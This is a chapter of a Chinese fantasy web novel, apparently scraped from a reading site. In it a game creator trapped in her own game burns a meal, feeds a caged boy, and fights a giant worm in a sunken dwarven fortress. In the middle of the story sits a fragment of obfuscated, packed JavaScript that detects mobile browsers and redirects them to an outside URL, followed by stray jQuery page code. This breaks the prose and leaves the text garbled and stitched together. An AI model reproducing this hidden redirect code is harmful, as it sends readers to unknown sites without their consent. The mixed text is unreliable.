不是错觉,法术和地图之间多了两个大类。
鱼类/食谱。
《终焉王座》没有饥饿值系统,因此也没有钓鱼和烹饪的玩法。饶是作为制作者的塞伦涅,也没料到还会有额外的图鉴。
收藏家这不是送福利来了吗!
塞伦涅喜悦之余,嗅到浓郁的焦糊味在厨房蔓延。
糟了,她太沉迷于图鉴,都忘了炉灶里还烤着鱼!
锡罐里焦黑一片,已经分不出谁是鱼肉,谁是浆果。
「不可名状的料理(???级)
散发邪恶气息的黑色物质,图鉴拥有者塞伦涅独创,吃一口搞不好会永久掉血。旧神“收藏家”表示:你造出了邪神!
制作原料:任意食材,糟糕的烹饪技术」
竟然还能收录在图鉴里……
就算不会掉血,塞伦涅也拒绝品尝它。
忍着饥饿,塞伦涅再次宰了条鱼。她实在不擅长烹饪,食谱图鉴奖励是无望了,除非找到一位厨师指点。
“哇,好难闻,你在烧炭吗?”
玫洛捂着鼻子走向厨房,胳膊夹着条硬面包。
塞伦涅像见到救星:“来得正是时候,玫洛,你会烹饪吗?”
玫洛用水打湿面包,锡纸包好扔进炉灶下层:“倘若炼金药水能当饭吃,那我想我是会的。”
片刻后她夹出锡纸,掰开散发糊味的面包,往里面夹了一片不知道是什么植物的叶子,大口咬下,鼓着腮帮子含糊地说:“普通食物的话,我只会将它们分尸,然后拼在一块。”
塞伦涅:“……”
玫洛低笑着说了声,有人遇到难题了啊,然后钻回房间。
塞伦涅时刻紧盯火候,终于制出一道能称为食物的料理。
「果味炙烤鱼肉(低级)
没有任何效果,鲈鱼死不瞑目。」
塞伦涅注意到图鉴文字描述的用词,意思是中级或者高级料理会有特殊效果吗?
她满腹心事地吃掉三分之二的烤鱼,然后打开地下室暗门。
别尔戒备地缩在笼中,闻到鱼肉的气味,他喉咙轻轻滚动一下,谨慎地挪向塞伦涅:“妈妈。”
“别那样叫。”塞伦涅语气重了些。
没记错的话,原主年纪还比别尔要小上一些,被这样称呼也太奇怪了。
别尔缩了缩脖子,藏在睫毛阴影下的眼神满含炙热的期待。
塞伦涅放下锡罐:“吃吧。”
饿了整天,别尔抓起鱼肉,野蛮地塞进嘴里。他不像昨日那般充满攻击性,塞伦涅松开束缚他的蛛丝,不动声色地退回楼上,以免对方吃饱了又翻脸不认人。
次日。
塞伦涅很早就醒了,带着造物图纸来到后院。经过上回的教训,她没在卧室取出造物。
史莱姆小屋挨着公会外墙,外观很有田园风味。塞伦涅在屋内铺上几份粘土,又往石槽灌入井水,然后将史莱姆放进新家。
木门是外部落锁的,防止它们会无意间打开门锁。也不用担心镇民会起偷盗的坏心思,毕竟里面可是魔物,不过塞伦涅还是找来一块木板,用匕首刻下“内有魔物,请勿靠近”,将木板顿在门边。
-
沉没要塞离橡木镇不远,这回没让列侬驾车。
塞伦涅当初穿越时,赏金猎人小队已经深入要塞后段。再者这是一张前期地图,她凭借残存的记忆,误入好几条死路,消灭上回遗漏的北方亚人,终于回到起始点。
除了不再有游荡的亚人,这里同之前没有太大分别。到处都是人为破坏的废墟,还有遍地火燎的痕迹。
靠墙的地方散落甲胄,因时间流逝而彻底锈蚀,不能再使用,尺寸短而肥大,对于人类显然是不合身的。
几个世纪前,矮人族与来自地底的黑矮人于要塞打响了旷日持久的战争。要塞的拥有方——矮人自然在战场占据上风,他们将黑矮人堵在城门外,从城墙滚下烧得赤红的巨大铁球。
战争本该就此结束,不料城门却从内部打开了。
矮人中出现了叛徒——哈默斯通家族,他们叛变的原因至今无人知晓,某种说法是他们始终对矮人之王翁可托的统治感到不满,亦或是单纯地想要谋权篡位。
翁可托因此死于黑矮人之手,临死前,他将遗物藏在了要塞的密室。
众人拥护之王的惨死招致了矮人们的怒火,他们控制住了哈默斯通家族,经过数月恶战,最终从黑矮人手里赢回荣耀。
而这座要塞,在幸存的矮人离开后,它作为初代矮人之王的坟墓,永远沉没水底。
昔日要塞如今已沦为魔物占领的荒冢废墟,塞伦涅走到一堵倒塌的石壁前。这里原本是一座塔楼,石块坍塌,露出后方渗水的走廊。
塞伦涅淌过水洼,低头说:“你醒着吧?”
旅行包里一阵躁动。
走廊尽头是一间黑洞洞的密室,入口像拦着一堵隐形的墙壁,让人难以窥探内部,但并未抵挡里面散发的邪恶气息。
“现在使用你的左眼,我们将会面临一场恶战,别睡着了。”
也用不着她提醒,契约在身,诱饵木偶不能违命令。
自从将蛛眼嵌入木偶的眼眶后,它便替代塞伦涅作为蛛眼的拥有者,片刻后,脚边浮现十只织咒蛛的虚影。
深吸口气,甫一踏入密室,她瞬间向左侧翻滚。
亚人遗骸砸在她之前站的地方,若非及时避开,这会怕是已经被砸倒在地了。
地上满是骸骨,密室尽头,白银宝箱埋在骨堆顶端。
那就是翁可托的宝藏了,但塞伦涅没有急着过去。
这间矮人之王倾注心血打造的密室,如今已是千疮百孔,石壁和天花板遍布虫蛀的孔洞。毫不夸张地说,洞口尺寸连塞伦涅都能轻松钻入。
黑暗萦绕的上空响起一阵摩挲声,她抬头,对上三对黝黑的眼睛。
三对眼睛同时生在柔软黏腻的苍白表皮上,那个存在蠕行着自洞口垂落,与塞伦涅安静地对视。
腐臭,肮脏,让人眼花的复眼结构,她因这个生物感到前所未有的不适。
人类在演化中天然对虫类有着本能的恐惧,何况是如此巨大的蠕虫,洞外的身体几乎垂地,但尾部仍然没入洞口。
然后,头部猛地砸下。
被它瞄准的织咒蛛瞬间消散。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745897|208914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>织咒蛛吸引仇恨的同时,塞伦涅咬牙摆脱那股不适感,低声咏唱。
幻影光束刺入蠕虫的身体,掀开皮肤,浓浆四溅,它疼得疯狂抽搐,在第二道法术袭来前向上一缩,消失于洞内黑暗中。
可惜塞伦涅的阶级还是太低,未能将它打作两截。荆棘级跃迁至鼠尾草级所致的变化,相对而言并不是太显著。
密室周围被蛀空了,摩挲声盘旋腔壁之间,塞伦涅时刻摆出施法架势,聆听声音的走向。
左侧墙壁,正对着她的洞口,声音蓦地停下了。
塞伦涅汗毛乍起,脑海中警铃大作。
这轮攻击的仇恨在她身上!
依靠翻滚勉强避过,塞伦涅撑地起身,又是一道幻影光束释出。
这只魔物的攻击招数很有意思,攻击一次后,就会缩回墙壁,再从某个洞口突袭玩家。
不过这个很有意思,仅对于让玩家满地乱滚的塞伦涅。当她作为那个满地乱滚的人,就不是那么有意思了。
她在骨渣中翻滚,空腔内回声扰乱了她对敌人方位的感知,某个些许松懈的当头,蠕虫猝然从她身后蹿出。
塞伦涅被掀到角落,听见肋骨断裂的声音,然后是自胸腔蔓延的剧痛。
这是穿越后……不,即便在现实世界,她也从未受过这么重的伤,内脏像被绞碎了,吸气都疼。
但连感受疼痛的时间也是奢侈的,她抓住时机灌下治疗药水,来回走位谨防敌人再次攻击。而在她喝药的片刻间,蠕虫再次缩回洞中。
要更谨慎。
错过一轮攻击时机,就意味着容错更低,她只有两份治疗药水了,物资和魔法值都不允许随意消耗。
织咒蛛的弊端在此刻显露,敌人行踪不定,塞伦涅不知道下一轮攻击会落在织咒蛛身上,还是她身上。潮闷的空间里,那种未知与不可掌控感让她的意识天旋地转,大脑濒临混乱,理智也在逐渐丧失。
她好像听见蠕虫就要从某个洞口钻出的声音,亦或是淹没要塞的湖水渗入石壁缝隙的响动。
无形的压迫感让她想要发疯。
尽管能吸引仇恨,但织咒蛛攻击低,血量也薄,被打中就死。未能诞生的蛛眼二十四小时内只能使用一次,很快所有织咒蛛都消散了,不能再被召唤。
塞伦涅不停走位,抬头聆听上空动静,干涩双眼死盯着黑暗。
这时,猛烈的失重感袭来。
塞伦涅暗道不好,一时没留意脚边,她蓦地绊到硬物,重心不稳向前栽去。
糟了,被骸骨绊倒了!
摩挲声不偏不倚地停在她脑袋正上方。
刹那间塞伦涅的心脏像被攥紧了。
她起身绝对没有蠕虫下落快,颅骨被碾碎的话,什么药水都不管用了。
塞伦涅强迫自己镇静,可死亡降临前,惧怕铺天盖地地压过她仅存的理性。身体僵硬到麻木,也来不及再使用法术。
阴影落下的瞬间,耳边响起破空声,一柄铁斧撕裂黑暗,从上方旋转着掠向蠕虫。
塞伦涅:?
是谁?
她听见一道陌生的嗓音:“那边那位,你是在地上睡着了吗?”